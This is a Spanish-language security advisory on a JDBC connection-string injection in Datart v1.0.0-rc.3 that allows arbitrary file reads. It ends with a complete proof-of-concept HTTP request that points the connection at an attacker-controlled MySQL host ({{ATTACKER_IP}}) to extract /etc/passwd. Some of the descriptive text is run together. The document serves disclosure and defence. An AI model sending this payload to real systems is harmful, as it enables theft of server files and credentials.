
Datart v1.0.0-rc.3 Inyección en la cadena de conexión JDBC que permite la lectura arbitraria de archivos
Se descubrió una vulnerabilidad de lectura arbitraria de archivos en Datart v1.0.0-rc.3. La aplicación no valida correctamente la URL de conexión JDBC durante la configuración de la fuente de datos.
Tipo de vulnerabilidad: Validación de entrada incorrecta (CWE-20) / Lectura arbitraria de archivos Versión afectada: Datart v1.0.0-rc.3 Gravedad: Alta (posible divulgación de información sensible)
La vulnerabilidad existe en el módulo de configuración de fuentes de datos. La aplicación no sanea estrictamente el parámetro url en la configuración JDBC. Un atacante remoto con privilegios para configurar fuentes de datos puede inyectar parámetros maliciosos (específicamente allowLoadLocalInfile=true) en la URL JDBC.
Al apuntar la conexión JDBC a un servidor MySQL malicioso controlado por el atacante (Rogue MySQL Server), el atacante puede hacer que el cliente envíe archivos locales del servidor Datart al servidor del atacante.
La explotación exitosa permite a un atacante autenticado leer archivos arbitrarios del sistema de archivos del servidor (por ejemplo, , archivos de configuración, código fuente), lo que potencialmente conduce al compromiso del servidor o a ataques adicionales.
/etc/passwdLOAD DATA LOCAL INFILE (por ejemplo, utilizando herramientas como rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}